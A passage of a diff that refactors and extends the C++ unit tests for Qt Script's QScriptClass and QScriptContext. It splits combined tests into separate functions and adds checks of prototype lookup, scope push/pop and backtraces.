+        QScriptValue ret = eng.evaluate("obj()");
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(eng.globalObject()));
+    }
 
-        cls.setCallableMode(TestClass::CallableReturnsCallee);
-        // From C++
-        {
-            QScriptValue ret = obj.call();
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(obj));
-        }
-        // From JS
-        {
-            QScriptValue ret = eng.evaluate("obj()");
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(obj));
-        }
+    cls.setCallableMode(TestClass::CallableReturnsCallee);
+    // From C++
+    {
+        QScriptValue ret = obj.call();
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(obj));
+    }
+    // From JS
+    {
+        QScriptValue ret = eng.evaluate("obj()");
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(obj));
+    }
 
-        cls.setCallableMode(TestClass::CallableReturnsArgumentsObject);
-        // From C++
-        {
-            QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.property("length").isNumber());
-            QCOMPARE(ret.property("length").toInt32(), 1);
-            QVERIFY(ret.property(0).isNumber());
-            QCOMPARE(ret.property(0).toInt32(), 123);
-        }
-        // From JS
-        {
-            QScriptValue ret = eng.evaluate("obj(123)");
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.property("length").isNumber());
-            QCOMPARE(ret.property("length").toInt32(), 1);
-            QVERIFY(ret.property(0).isNumber());
-            QCOMPARE(ret.property(0).toInt32(), 123);
-        }
+    cls.setCallableMode(TestClass::CallableReturnsArgumentsObject);
+    // From C++
+    {
+        QScriptValue ret = obj.call(obj, QScriptValueList() << 123);
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.property("length").isNumber());
+        QCOMPARE(ret.property("length").toInt32(), 1);
+        QVERIFY(ret.property(0).isNumber());
+        QCOMPARE(ret.property(0).toInt32(), 123);
+    }
+    // From JS
+    {
+        QScriptValue ret = eng.evaluate("obj(123)");
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.property("length").isNumber());
+        QCOMPARE(ret.property("length").toInt32(), 1);
+        QVERIFY(ret.property(0).isNumber());
+        QCOMPARE(ret.property(0).toInt32(), 123);
+    }
+}
 
-        // construct()
-        // From C++
-        cls.clearReceivedArgs();
-        cls.setCallableMode(TestClass::CallableReturnsGlobalObject);
-        {
-            QScriptValue ret = obj.construct();
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(eng.globalObject()));
-        }
-        // From JS
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = eng.evaluate("new obj()");
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isObject());
-            QVERIFY(ret.strictlyEquals(eng.globalObject()));
-        }
-        // From C++
-        cls.clearReceivedArgs();
-        cls.setCallableMode(TestClass::CallableInitializesThisObject);
-        {
-            QScriptValue ret = obj.construct();
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isQObject());
-            QCOMPARE(ret.toQObject(), (QObject*)&eng);
-        }
-        // From JS
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = eng.evaluate("new obj()");
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
-            QVERIFY(ret.isQObject());
-            QCOMPARE(ret.toQObject(), (QObject*)&eng);
-        }
+void tst_QScriptClass::extension_Callable_construct()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    QScriptValue obj = eng.newObject(&cls);
+    eng.globalObject().setProperty("obj", obj);
+
+    // From C++
+    cls.clearReceivedArgs();
+    cls.setCallableMode(TestClass::CallableReturnsGlobalObject);
+    {
+        QScriptValue ret = obj.construct();
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(eng.globalObject()));
+    }
+    // From JS
+    cls.clearReceivedArgs();
+    {
+        QScriptValue ret = eng.evaluate("new obj()");
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isObject());
+        QVERIFY(ret.strictlyEquals(eng.globalObject()));
+    }
+    // From C++
+    cls.clearReceivedArgs();
+    cls.setCallableMode(TestClass::CallableInitializesThisObject);
+    {
+        QScriptValue ret = obj.construct();
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isQObject());
+        QCOMPARE(ret.toQObject(), (QObject*)&eng);
     }
-    // HasInstance
+    // From JS
+    cls.clearReceivedArgs();
     {
-        TestClass cls(&eng);
-        cls.setHasInstance(true);
-        QVERIFY(cls.supportsExtension(QScriptClass::HasInstance));
+        QScriptValue ret = eng.evaluate("new obj()");
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::Callable);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptContext*>());
+        QVERIFY(ret.isQObject());
+        QCOMPARE(ret.toQObject(), (QObject*)&eng);
+    }
+}
 
-        QScriptValue obj = eng.newObject(&cls);
-        obj.setProperty("foo", QScriptValue(&eng, 123));
-        QScriptValue plain = eng.newObject();
-        QVERIFY(!plain.instanceOf(obj));
+void tst_QScriptClass::extension_HasInstance()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    cls.setHasInstance(true);
+    QVERIFY(cls.supportsExtension(QScriptClass::HasInstance));
 
-        eng.globalObject().setProperty("HasInstanceTester", obj);
-        eng.globalObject().setProperty("hasInstanceValue", plain);
-        cls.clearReceivedArgs();
-        {
-            QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
-            QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance);
-            QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptValueList>());
-            QScriptValueList lst = qvariant_cast<QScriptValueList>(cls.lastExtensionArgument());
-            QCOMPARE(lst.size(), 2);
-            QVERIFY(lst.at(0).strictlyEquals(obj));
-            QVERIFY(lst.at(1).strictlyEquals(plain));
-            QVERIFY(ret.isBoolean());
-            QVERIFY(!ret.toBoolean());
-        }
+    QScriptValue obj = eng.newObject(&cls);
+    obj.setProperty("foo", QScriptValue(&eng, 123));
+    QScriptValue plain = eng.newObject();
+    QVERIFY(!plain.instanceOf(obj));
 
-        plain.setProperty("foo", QScriptValue(&eng, 456));
-        QVERIFY(!plain.instanceOf(obj));
-        {
-            QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
-            QVERIFY(ret.isBoolean());
-            QVERIFY(!ret.toBoolean());
-        }
+    eng.globalObject().setProperty("HasInstanceTester", obj);
+    eng.globalObject().setProperty("hasInstanceValue", plain);
+    cls.clearReceivedArgs();
+    {
+        QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
+        QCOMPARE(cls.lastExtensionType(), QScriptClass::HasInstance);
+        QCOMPARE(cls.lastExtensionArgument().userType(), qMetaTypeId<QScriptValueList>());
+        QScriptValueList lst = qvariant_cast<QScriptValueList>(cls.lastExtensionArgument());
+        QCOMPARE(lst.size(), 2);
+        QVERIFY(lst.at(0).strictlyEquals(obj));
+        QVERIFY(lst.at(1).strictlyEquals(plain));
+        QVERIFY(ret.isBoolean());
+        QVERIFY(!ret.toBoolean());
+    }
 
-        plain.setProperty("foo", obj.property("foo"));
-        QVERIFY(plain.instanceOf(obj));
-        {
-            QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
-            QVERIFY(ret.isBoolean());
-            QVERIFY(ret.toBoolean());
-        }
+    plain.setProperty("foo", QScriptValue(&eng, 456));
+    QVERIFY(!plain.instanceOf(obj));
+    {
+        QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
+        QVERIFY(ret.isBoolean());
+        QVERIFY(!ret.toBoolean());
+    }
+
+    plain.setProperty("foo", obj.property("foo"));
+    QVERIFY(plain.instanceOf(obj));
+    {
+        QScriptValue ret = eng.evaluate("hasInstanceValue instanceof HasInstanceTester");
+        QVERIFY(ret.isBoolean());
+        QVERIFY(ret.toBoolean());
     }
 }
 
@@ -1324,5 +1438,66 @@ void tst_QScriptClass::defaultImplementations()
     QVERIFY(!defaultClass.extension(QScriptClass::HasInstance).isValid());
 }
 
+void tst_QScriptClass::scriptClassObjectInPrototype()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    QScriptValue plainObject = eng.newObject();
+    QScriptValue classObject = eng.newObject(&cls);
+    plainObject.setPrototype(classObject);
+    QVERIFY(plainObject.prototype().equals(classObject));
+    eng.globalObject().setProperty("plainObject", plainObject);
+    eng.globalObject().setProperty("classObject", classObject);
+
+    QScriptString name = eng.toStringHandle("x");
+    cls.addCustomProperty(name, QScriptClass::HandlesReadAccess, /*id=*/1, /*flags=*/0, /*value=*/123);
+    QVERIFY(plainObject.property(name).equals(classObject.property(name)));
+    QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool());
+
+    // Add a property that shadows the one in the script class.
+    plainObject.setProperty(name, 456);
+    QVERIFY(!plainObject.property(name).equals(classObject.property(name)));
+    QVERIFY(eng.evaluate("plainObject.x != classObject.x").toBool());
+
+    QVERIFY(eng.evaluate("delete plainObject.x").toBool());
+    QVERIFY(eng.evaluate("plainObject.x == classObject.x").toBool());
+}
+
+void tst_QScriptClass::scriptClassWithNullEngine()
+{
+    QScriptClass cls(0);
+    QCOMPARE(cls.engine(), (QScriptEngine*)0);
+    QScriptEngine eng;
+    QScriptValue obj = eng.newObject(&cls);
+    QVERIFY(obj.isObject());
+    QCOMPARE(obj.scriptClass(), &cls);
+    // The class could have been "bound" to the engine at this point,
+    // but it's currently not.
+    // This behavior is not documented and is subject to change.
+    QCOMPARE(cls.engine(), (QScriptEngine*)0);
+    // The engine pointer stored in the QScriptClass is not actually used
+    // during property access, so this still works.
+    obj.setProperty("x", 123);
+    QVERIFY(obj.property("x").isNumber());
+}
+
+void tst_QScriptClass::scriptClassInOtherEngine()
+{
+    QScriptEngine eng;
+    TestClass cls(&eng);
+    QScriptEngine eng2;
+    // We don't check that the class is associated with another engine, so
+    // we only get a warning when trying to set the prototype of the new
+    // instance.
+    // This behavior is not documented and is subject to change.
+    QTest::ignoreMessage(QtWarningMsg, "QScriptValue::setPrototype() failed: cannot set a prototype created in a different engine");
+    QScriptValue obj = eng2.newObject(&cls);
+    QVERIFY(obj.isObject());
+    QCOMPARE(obj.scriptClass(), &cls);
+
+    obj.setProperty("x", 123);
+    QVERIFY(obj.property("x").isNumber());
+}
+
 QTEST_MAIN(tst_QScriptClass)
 #include "tst_qscriptclass.moc"
diff --git a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp
index cb6311e..9d7e896 100644
--- a/tests/auto/qscriptcontext/tst_qscriptcontext.cpp
+++ b/tests/auto/qscriptcontext/tst_qscriptcontext.cpp
@@ -66,7 +66,9 @@ public:
 
 private slots:
     void callee();
+    void callee_implicitCall();
     void arguments();
+    void argumentsInJS();
     void thisObject();
     void returnValue();
     void throwError_data();
@@ -77,16 +79,29 @@ private slots:
     void throwValue();
     void evaluateInFunction();
     void pushAndPopContext();
+    void pushAndPopContext_variablesInActivation();
+    void pushAndPopContext_setThisObject();
+    void pushAndPopContext_throwException();
     void lineNumber();
     void backtrace_data();
     void backtrace();
-    void scopeChain();
-    void pushAndPopScope();
-    void getSetActivationObject();
+    void scopeChain_globalContext();
+    void scopeChain_closure();
+    void scopeChain_withStatement();
+    void pushAndPopScope_globalContext();
+    void pushAndPopScope_globalContext2();
+    void getSetActivationObject_globalContext();
+    void pushScopeEvaluate();
+    void pushScopeCall();
+    void popScopeSimple();
+    void pushAndPopGlobalObjectSimple();
+    void pushAndPopIterative();
     void getSetActivationObject_customContext();
     void inheritActivationAndThisObject();
     void toString();
-    void calledAsConstructor();
+    void calledAsConstructor_fromCpp();
+    void calledAsConstructor_fromJS();
+    void calledAsConstructor_parentContext();
     void argumentsObjectInNative();
     void jsActivationObject();
     void qobjectAsActivationObject();
@@ -121,33 +136,33 @@ void tst_QScriptContext::callee()
 {
     QScriptEngine eng;
 
-    {
-        QScriptValue fun = eng.newFunction(get_callee);
-        fun.setProperty("foo", QScriptValue(&eng, "bar"));
-        eng.globalObject().setProperty("get_callee", fun);
+    QScriptValue fun = eng.newFunction(get_callee);
+    fun.setProperty("foo", QScriptValue(&eng, "bar"));
+    eng.globalObject().setProperty("get_callee", fun);
 
-        QScriptValue result = eng.evaluate("get_callee()");
-        QCOMPARE(result.isFunction(), true);
-        QCOMPARE(result.property("foo").toString(), QString("bar"));
-    }
+    QScriptValue result = eng.evaluate("get_callee()");
+    QCOMPARE(result.isFunction(), true);
+    QCOMPARE(result.property("foo").toString(), QString("bar"));
+}
 
+void tst_QScriptContext::callee_implicitCall()
+{
+    QScriptEngine eng;
     // callee when toPrimitive() is called internally
-    {
-        QScriptValue fun = eng.newFunction(store_callee_and_return_primitive);
-        QScriptValue obj = eng.newObject();
-        obj.setProperty("toString", fun);
-        QVERIFY(!obj.property("callee").isValid());
-        (void)obj.toString();
-        QVERIFY(obj.property("callee").isFunction());
-        QVERIFY(obj.property("callee").strictlyEquals(fun));
-
-        obj.setProperty("callee", QScriptValue());
-        QVERIFY(!obj.property("callee").isValid());
-        obj.setProperty("valueOf", fun);
-        (void)obj.toNumber();
-        QVERIFY(obj.property("callee").isFunction());
-        QVERIFY(obj.property("callee").strictlyEquals(fun));
-    }
+    QScriptValue fun = eng.newFunction(store_callee_and_return_primitive);
+    QScriptValue obj = eng.newObject();
+    obj.setProperty("toString", fun);
+    QVERIFY(!obj.property("callee").isValid());
+    (void)obj.toString();
+    QVERIFY(obj.property("callee").isFunction());
+    QVERIFY(obj.property("callee").strictlyEquals(fun));
+
+    obj.setProperty("callee", QScriptValue());
+    QVERIFY(!obj.property("callee").isValid());
+    obj.setProperty("valueOf", fun);
+    (void)obj.toNumber();
+    QVERIFY(obj.property("callee").isFunction());
+    QVERIFY(obj.property("callee").strictlyEquals(fun));
 }
 
 static QScriptValue get_arguments(QScriptContext *ctx, QScriptEngine *eng)
@@ -167,6 +182,8 @@ void tst_QScriptContext::arguments()
 {
     QScriptEngine eng;
 
+    // See section 10.6 ("Arguments Object") of ECMA-262.
+
     {
         QScriptValue args = eng.currentContext()->argumentsObject();
         QVERIFY(args.isObject());
@@ -178,6 +195,8 @@ void tst_QScriptContext::arguments()
     }
 
     for (int x = 0; x < 2; ++x) {
+        // The expected arguments array should be the same regardless of
+        // whether get_arguments() is called as a constructor.
         QString prefix;
         if (x == 0)
             prefix = "";
@@ -224,11 +243,15 @@ void tst_QScriptContext::arguments()
             QCOMPARE(result.propertyFlags("length"), QScriptValue::SkipInEnumeration);
             QCOMPARE(result.property("callee").strictlyEquals(fun), true);
             QCOMPARE(result.propertyFlags("callee"), QScriptValue::SkipInEnumeration);
+
+            // callee and length properties should be writable.
             QScriptValue replacedCallee(&eng, 123);
             result.setProperty("callee", replacedCallee);
             QVERIFY(result.property("callee").equals(replacedCallee));
             QScriptValue replacedLength(&eng, 456);
             result.setProperty("length", replacedLength);
+
+            // callee and length properties should be deletable.
             QVERIFY(result.property("length").equals(replacedLength));
             result.setProperty("callee", QScriptValue());
             QVERIFY(!result.property("callee").isValid());
@@ -262,28 +285,31 @@ void tst_QScriptContext::arguments()
             QCOMPARE(result.property("2").toBoolean(), true);
             QCOMPARE(result.property("3").isUndefined(), true);
         }
+    }
+}
 
-        // arguments object returned from script
-        {
-            QScriptValue result = eng.evaluate("(function() { return arguments; })(123)");
-            QCOMPARE(result.isArray(), false);
-            QVERIFY(result.isObject());
-            QCOMPARE(result.property("length").toUInt32(), quint32(1));
-            QCOMPARE(result.property("0").isNumber(), true);
-            QCOMPARE(result.property("0").toNumber(), 123.0);
-        }
+void tst_QScriptContext::argumentsInJS()
+{
+    QScriptEngine eng;
+    {
+        QScriptValue result = eng.evaluate("(function() { return arguments; })(123)");
+        QCOMPARE(result.isArray(), false);
+        QVERIFY(result.isObject());
+        QCOMPARE(result.property("length").toUInt32(), quint32(1));
+        QCOMPARE(result.property("0").isNumber(), true);
+        QCOMPARE(result.property("0").toNumber(), 123.0);
+    }
 
-        {
-            QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)");
-            QCOMPARE(result.isArray(), false);
-            QCOMPARE(result.property("length").toUInt32(), quint32(4));
-            QCOMPARE(result.property("0").isString(), true);
-            QCOMPARE(result.property("0").toString(), QString("ciao"));
-            QCOMPARE(result.property("1").isNull(), true);
-            QCOMPARE(result.property("2").isBoolean(), true);
-            QCOMPARE(result.property("2").toBoolean(), true);
-            QCOMPARE(result.property("3").isUndefined(), true);
-        }
+    {
+        QScriptValue result = eng.evaluate("(function() { return arguments; })('ciao', null, true, undefined)");
+        QCOMPARE(result.isArray(), false);
+        QCOMPARE(result.property("length").toUInt32(), quint32(4));
+        QCOMPARE(result.property("0").isString(), true);
+        QCOMPARE(result.property("0").toString(), QString("ciao"));
+        QCOMPARE(result.property("1").isNull(), true);
+        QCOMPARE(result.property("2").isBoolean(), true);
+        QCOMPARE(result.property("2").toBoolean(), true);
+        QCOMPARE(result.property("3").isUndefined(), true);
     }
 }
 
@@ -517,58 +543,65 @@ void tst_QScriptContext::pushAndPopContext()
     QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::popContext() doesn't match with pushContext()");
     eng.popContext();
     QCOMPARE(eng.currentContext(), topLevel);
+}
 
-    {
-        QScriptContext *ctx3 = eng.pushContext();
-        ctx3->activationObject().setProperty("foo", QScriptValue(&eng, 123));
-        QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123)));
-        QCOMPARE(ctx3->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0));
-
-        ctx3->activationObject().setProperty(4, 456);
-        QVERIFY(ctx3->activationObject().property(4, QScriptValue::ResolveLocal).equals(456));
-
-        eng.evaluate("var bar = 'ciao'");
-        QVERIFY(ctx3->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao")));
-
-        ctx3->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly);
-        QVERIFY(eng.evaluate("baz").equals(789));
-        QCOMPARE(ctx3->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly);
-
-        QSet<QString> activationPropertyNames;
-        QScriptValueIterator it(ctx3->activationObject());
-        while (it.hasNext()) {
-            it.next();
-            activationPropertyNames.insert(it.name());
-        }
-        QCOMPARE(activationPropertyNames.size(), 4);
-        QVERIFY(activationPropertyNames.contains("foo"));
-        QVERIFY(activationPropertyNames.contains("4"));
-        QVERIFY(activationPropertyNames.contains("bar"));
-        QVERIFY(activationPropertyNames.contains("baz"));
-
-        eng.popContext();
+void tst_QScriptContext::pushAndPopContext_variablesInActivation()
+{
+    QScriptEngine eng;
+    QScriptContext *ctx = eng.pushContext();
+    ctx->activationObject().setProperty("foo", QScriptValue(&eng, 123));
+    // evaluate() should use the current context.
+    QVERIFY(eng.evaluate("foo").strictlyEquals(QScriptValue(&eng, 123)));
+    QCOMPARE(ctx->activationObject().propertyFlags("foo"), QScriptValue::PropertyFlags(0));
+
+    ctx->activationObject().setProperty(4, 456);
+    QVERIFY(ctx->activationObject().property(4, QScriptValue::ResolveLocal).equals(456));
+
+    // New JS variables should become properties of the current context's activation.
+    eng.evaluate("var bar = 'ciao'");
+    QVERIFY(ctx->activationObject().property("bar", QScriptValue::ResolveLocal).strictlyEquals(QScriptValue(&eng, "ciao")));
+
+    ctx->activationObject().setProperty("baz", 789, QScriptValue::ReadOnly);
+    QVERIFY(eng.evaluate("baz").equals(789));
+    QCOMPARE(ctx->activationObject().propertyFlags("baz"), QScriptValue::ReadOnly);
+
+    QSet<QString> activationPropertyNames;
+    QScriptValueIterator it(ctx->activationObject());
+    while (it.hasNext()) {
+        it.next();
+        activationPropertyNames.insert(it.name());
     }
+    QCOMPARE(activationPropertyNames.size(), 4);
+    QVERIFY(activationPropertyNames.contains("foo"));
+    QVERIFY(activationPropertyNames.contains("4"));
+    QVERIFY(activationPropertyNames.contains("bar"));
+    QVERIFY(activationPropertyNames.contains("baz"));
 
-    {
-        QScriptContext *ctx4 = eng.pushContext();
-        QScriptValue obj = eng.newObject();
-        obj.setProperty("prop", QScriptValue(&eng, 456));
-        ctx4->setThisObject(obj);
-        QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1");
-        QCOMPARE(eng.currentContext(), ctx4);
-        QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457)));
-        eng.popContext();
-    }
+    eng.popContext();
+}
 
-    // throwing an exception
-    {
-        QScriptContext *ctx5 = eng.pushContext();
-        QScriptValue ret = eng.evaluate("throw new Error('oops')");
-        QVERIFY(ret.isError());
-        QVERIFY(eng.hasUncaughtException());
-        QCOMPARE(eng.currentContext(), ctx5);
-        eng.popContext();
-    }
+void tst_QScriptContext::pushAndPopContext_setThisObject()
+{
+    QScriptEngine eng;
+    QScriptContext *ctx = eng.pushContext();
+    QScriptValue obj = eng.newObject();
+    obj.setProperty("prop", QScriptValue(&eng, 456));
+    ctx->setThisObject(obj);
+    QScriptValue ret = eng.evaluate("var tmp = this.prop; tmp + 1");
+    QCOMPARE(eng.currentContext(), ctx);
+    QVERIFY(ret.strictlyEquals(QScriptValue(&eng, 457)));
+    eng.popContext();
+}
+
+void tst_QScriptContext::pushAndPopContext_throwException()
+{
+    QScriptEngine eng;
+    QScriptContext *ctx = eng.pushContext();
+    QScriptValue ret = eng.evaluate("throw new Error('oops')");
+    QVERIFY(ret.isError());
+    QVERIFY(eng.hasUncaughtException());
+    QCOMPARE(eng.currentContext(), ctx);
+    eng.popContext();
 }
 
 void tst_QScriptContext::popNativeContextScope()
@@ -596,7 +629,7 @@ void tst_QScriptContext::popNativeContextScope()
     QVERIFY(ctx->activationObject().strictlyEquals(customScope));
     QCOMPARE(ctx->scopeChain().size(), 2);
     QVERIFY(ctx->scopeChain().at(0).strictlyEquals(customScope));
-    QEXPECT_FAIL("", "QTBUG-11012", Continue);
+    QEXPECT_FAIL("", "QTBUG-11012: Global object is replaced in scope chain", Continue);
     QVERIFY(ctx->scopeChain().at(1).strictlyEquals(eng.globalObject()));
 
     QVERIFY(!eng.evaluate("baz = 456; var foo = 789; function barbar() {}").isError());
@@ -891,6 +924,50 @@ void tst_QScriptContext::backtrace_data()
 
         QTest::newRow("js recursive") << source << expected;
     }
+
+    {
+        QString source = QString::fromLatin1(
+            "[0].forEach(\n"
+            "    function() {\n"
+            "        result = bt();\n"
+            "}); result");
+
+        QStringList expected;
+        expected << "<native>() at -1"
+                 << "<anonymous>(0, 0, 0) at testfile:3"
+                 << QString::fromLatin1("forEach(%0) at -1")
+                    // Because the JIT doesn't store the arguments in the frame
+                    // for built-in functions, arguments are not available.
+                    // Will work when the copy of JavaScriptCore is updated
+                    // (QTBUG-16568).
+                    .arg(qt_script_isJITEnabled()
+                         ? ""
+                         : "function () {\n        result = bt();\n}")
+                 << "<global>() at testfile:4";
+        QTest::newRow("js callback from built-in") << source << expected;
+    }
+
+    {
+        QString source = QString::fromLatin1(
+            "[10,20].forEach(\n"
+            "    function() {\n"
+            "        result = bt();\n"
+            "}); result");
+
+        QStringList expected;
+        expected << "<native>() at -1"
+                 << "<anonymous>(20, 1, 10,20) at testfile:3"
+                 << QString::fromLatin1("forEach(%0) at -1")
+                    // Because the JIT doesn't store the arguments in the frame
+                    // for built-in functions, arguments are not available.
+                    // Will work when the copy of JavaScriptCore is updated
+                    // (QTBUG-16568).
+                    .arg(qt_script_isJITEnabled()
+                         ? ""
+                         : "function () {\n        result = bt();\n}")
+                 << "<global>() at testfile:4";
+        QTest::newRow("js callback from built-in") << source << expected;
+    }
 }
 
 
@@ -918,7 +995,7 @@ static QScriptValue getScopeChain(QScriptContext *ctx, QScriptEngine *eng)
     return qScriptValueFromValue(eng, ctx->parentContext()->scopeChain());
 }
 
-void tst_QScriptContext::scopeChain()
+void tst_QScriptContext::scopeChain_globalContext()
 {
     QScriptEngine eng;
     {
@@ -932,19 +1009,35 @@ void tst_QScriptContext::scopeChain()
         QCOMPARE(ret.size(), 1);
         QVERIFY(ret.at(0).strictlyEquals(eng.globalObject()));
     }
-    {
-        eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }");
-        QScriptValueList ret = qscriptvalue_cast<QScriptValueList>(eng.evaluate("foo()"));
-        QEXPECT_FAIL("", "Number of items in returned scope chain is incorrect", Abort);
-        QCOMPARE(ret.size(), 3);
-        QVERIFY(ret.at(2).strictlyEquals(eng.globalObject()));
-        QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation"));
-        QVERIFY(ret.at(1).property("arguments").isObject());
-        QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation"));
-        QVERIFY(ret.at(0).property("arguments").isObject());
-    }
+}
+
+void tst_QScriptContext::scopeChain_closure()
+{
+    QScriptEngine eng;
+    eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain));
+
+    eng.evaluate("function foo() { function bar() { return getScopeChain(); } return bar() }");
+    QScriptValueList ret = qscriptvalue_cast<QScriptValueList>(eng.evaluate("foo()"));
+    // JSC will not create an activation for bar() unless we insert a call
+    // to eval() in the function body; JSC has no way of knowing that the
+    // native function will be asking for the activation, and we don't want
+    // to needlessly create it.
+    QEXPECT_FAIL("", "QTBUG-10313: JSC optimizes away the activation object", Abort);
+    QCOMPARE(ret.size(), 3);
+    QVERIFY(ret.at(2).strictlyEquals(eng.globalObject()));
+    QCOMPARE(ret.at(1).toString(), QString::fromLatin1("activation"));
+    QVERIFY(ret.at(1).property("arguments").isObject());
+    QCOMPARE(ret.at(0).toString(), QString::fromLatin1("activation"));
+    QVERIFY(ret.at(0).property("arguments").isObject());
+}
+
+void tst_QScriptContext::scopeChain_withStatement()
+{
+    QScriptEngine eng;
+    eng.globalObject().setProperty("getScopeChain", eng.newFunction(getScopeChain));
     {
         QScriptValueList ret = qscriptvalue_cast<QScriptValueList>(eng.evaluate("o = { x: 123 }; with(o) getScopeChain();"));
+        QEXPECT_FAIL("", "QTBUG-17131: with-scope isn't reflected by QScriptContext", Abort);
         QCOMPARE(ret.size(), 2);
         QVERIFY(ret.at(1).strictlyEquals(eng.globalObject()));
         QVERIFY(ret.at(0).isObject());
@@ -962,7 +1055,73 @@ void tst_QScriptContext::scopeChain()
     }
 }
 
-void tst_QScriptContext::pushAndPopScope()
+void tst_QScriptContext::pushScopeEvaluate()
+{
+    QScriptEngine engine;
+    QScriptValue object = engine.newObject();
+    object.setProperty("foo", 1234);
+    object.setProperty(1, 1234);
+    engine.currentContext()->pushScope(object);
+    object.setProperty("bar", 4321);
+    object.setProperty(2, 4321);
+    QVERIFY(engine.evaluate("foo").equals(1234));
+    QVERIFY(engine.evaluate("bar").equals(4321));
+}
+
+void tst_QScriptContext::pushScopeCall()
+{
+    QScriptEngine engine;
+    QScriptValue object = engine.globalObject();
+    QScriptValue thisObject = engine.newObject();
+    QScriptValue function = engine.evaluate("(function(property){return this[property]; })");
+    QVERIFY(function.isFunction());
+    object.setProperty("foo", 1234);
+    thisObject.setProperty("foo", "foo");
+    engine.currentContext()->pushScope(object);
+    object.setProperty("bar", 4321);
+    thisObject.setProperty("bar", "bar");
+    QVERIFY(function.call(QScriptValue(), QScriptValueList() << "foo").equals(1234));
+    QVERIFY(function.call(QScriptValue(), QScriptValueList() << "bar").equals(4321));
+    QVERIFY(function.call(thisObject, QScriptValueList() << "foo").equals("foo"));
+    QVERIFY(function.call(thisObject, QScriptValueList() << "bar").equals("bar"));
+}
+
+void tst_QScriptContext::popScopeSimple()
+{
+    QScriptEngine engine;
+    QScriptValue object = engine.newObject();
+    QScriptValue globalObject = engine.globalObject();
+    engine.currentContext()->pushScope(object);
+    QVERIFY(engine.currentContext()->popScope().strictlyEquals(object));
+    QVERIFY(engine.globalObject().strictlyEquals(globalObject));
+}
+
+void tst_QScriptContext::pushAndPopGlobalObjectSimple()
+{
+    QScriptEngine engine;
+    QScriptValue globalObject = engine.globalObject();
+    engine.currentContext()->pushScope(globalObject);
+    QVERIFY(engine.currentContext()->popScope().strictlyEquals(globalObject));
+    QVERIFY(engine.globalObject().strictlyEquals(globalObject));
+}
+
+void tst_QScriptContext::pushAndPopIterative()
+{
+    QScriptEngine engine;
+    for (uint repeat = 0; repeat < 2; ++repeat) {
+        for (uint i = 1; i < 11; ++i) {
+            QScriptValue object = engine.newObject();
+            object.setProperty("x", i + 10 * repeat);
+            engine.currentContext()->pushScope(object);
+        }
+        for (uint i = 10; i > 0; --i) {
+            QScriptValue object = engine.currentContext()->popScope();
+            QVERIFY(object.property("x").equals(i + 10 * repeat));
+        }
+    }
+}
+
+void tst_QScriptContext::pushAndPopScope_globalContext()
 {
     QScriptEngine eng;
     QScriptContext *ctx = eng.currentContext();
@@ -1019,14 +1178,19 @@ void tst_QScriptContext::pushAndPopScope()
 
     ctx->pushScope(QScriptValue());
